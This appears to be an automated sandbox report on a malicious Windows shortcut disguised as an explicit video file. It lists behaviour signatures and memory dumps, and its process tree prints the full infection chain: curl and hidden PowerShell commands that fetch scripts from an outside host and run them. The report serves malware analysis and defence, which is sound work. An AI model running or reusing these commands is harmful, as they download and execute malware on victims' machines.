Analysis
- user interaction
yes - max time kernel
148s - max time network
140s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
26/06/2026, 04:21
General
- Target PACK8/teenslutpussyspread.mp4.lnk
- Size 699B
- Sample260626-eytfaagy4y
- SHA256 4abe5d9e3867b9ac476d3af7a918b2b652605c844f418d2b5b3154f851852645
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 24 IoCs
- Suspicious use of SendNotifyMessage 7 IoCs
- Suspicious use of SetWindowsHookEx 4 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\PACK8\teenslutpussyspread.mp4.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v:on /c (start "" ..\ㅤㅤ\teenslutpussyspread.mp4)&(curl.exe https://3gunit.com/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd)&(C:\Users\Admin\AppData\Local\Temp\a.cmd https://3gunit.com 106)2⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Program Files\VideoLAN\VLC\vlc.exe"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenslutpussyspread.mp4"3⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\curl.execurl.exe https://3gunit.com/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {param($u,$c); if (-not $u) { exit }; curl.exe \"$u/rAU.ps1\" | iex }" "https://3gunit.com" "106"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" https://3gunit.com/rAU.ps14⤵
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_he3osvh2.gjs.ps1
a.cmd
memory/872-15-0x00000248F4840000-0x00000248F4862000-memory.dmp
memory/4364-46-0x00007FFE9CC90000-0x00007FFE9CD3B000-memory.dmp
memory/4364-21-0x00007FFEAB410000-0x00007FFEAB444000-memory.dmp
memory/4364-26-0x00007FFEAB230000-0x00007FFEAB25B000-memory.dmp
memory/4364-25-0x00007FFEAB3E0000-0x00007FFEAB402000-memory.dmp
memory/4364-24-0x00007FFEAD5B0000-0x00007FFEAD5C9000-memory.dmp
memory/4364-23-0x00007FFEB0850000-0x00007FFEB0861000-memory.dmp
memory/4364-22-0x00007FFE9D900000-0x00007FFE9DBB6000-memory.dmp
memory/4364-29-0x00007FFEAB210000-0x00007FFEAB221000-memory.dmp
memory/4364-28-0x00007FFEAC170000-0x00007FFEAC184000-memory.dmp
memory/4364-30-0x00007FFEAA9D0000-0x00007FFEAAAA2000-memory.dmp
memory/4364-27-0x00007FFE9D380000-0x00007FFE9D710000-memory.dmp
memory/4364-31-0x00007FFE9D0E0000-0x00007FFE9D376000-memory.dmp
memory/4364-41-0x00007FFEAA610000-0x00007FFEAA621000-memory.dmp
memory/4364-47-0x00007FFEAA570000-0x00007FFEAA58B000-memory.dmp
memory/4364-48-0x00007FFEA42A0000-0x00007FFEA42B2000-memory.dmp
memory/4364-20-0x00007FF6FD5F0000-0x00007FF6FD6E8000-memory.dmp
memory/4364-51-0x00007FFE945A0000-0x00007FFE947E5000-memory.dmp
memory/4364-50-0x00000176D5E20000-0x00000176D5F1F000-memory.dmp
memory/4364-35-0x00007FFEAAEC0000-0x00007FFEAAEEF000-memory.dmp
memory/4364-42-0x00007FFE9CDE0000-0x00007FFE9CFEB000-memory.dmp
memory/4364-45-0x00007FFEA9350000-0x00007FFEA9375000-memory.dmp
memory/4364-44-0x00007FFEAA590000-0x00007FFEAA5DF000-memory.dmp
memory/4364-43-0x00007FFE9CD40000-0x00007FFE9CDD8000-memory.dmp
memory/4364-40-0x00007FFEAA980000-0x00007FFEAA991000-memory.dmp
memory/4364-39-0x00007FFEAAE80000-0x00007FFEAAE9A000-memory.dmp
memory/4364-38-0x00007FFEAA630000-0x00007FFEAA65D000-memory.dmp
memory/4364-37-0x00007FFEAA9A0000-0x00007FFEAA9C6000-memory.dmp
memory/4364-36-0x00007FFEAAEA0000-0x00007FFEAAEB8000-memory.dmp
memory/4364-49-0x00000176D5FE0000-0x00000176D784F000-memory.dmp
memory/4364-34-0x00007FFEAB0C0000-0x00007FFEAB101000-memory.dmp
memory/4364-33-0x00007FFE9CFF0000-0x00007FFE9D0D3000-memory.dmp
memory/4364-32-0x00007FFEAA660000-0x00007FFEAA748000-memory.dmp
memory/4364-54-0x00007FFE9D900000-0x00007FFE9DBB6000-memory.dmp
memory/4364-86-0x00007FFE9D900000-0x00007FFE9DBB6000-memory.dmp
memory/4364-113-0x00000176D5FE0000-0x00000176D784F000-memory.dmp
memory/4364-248-0x00007FFE9D900000-0x00007FFE9DBB6000-memory.dmp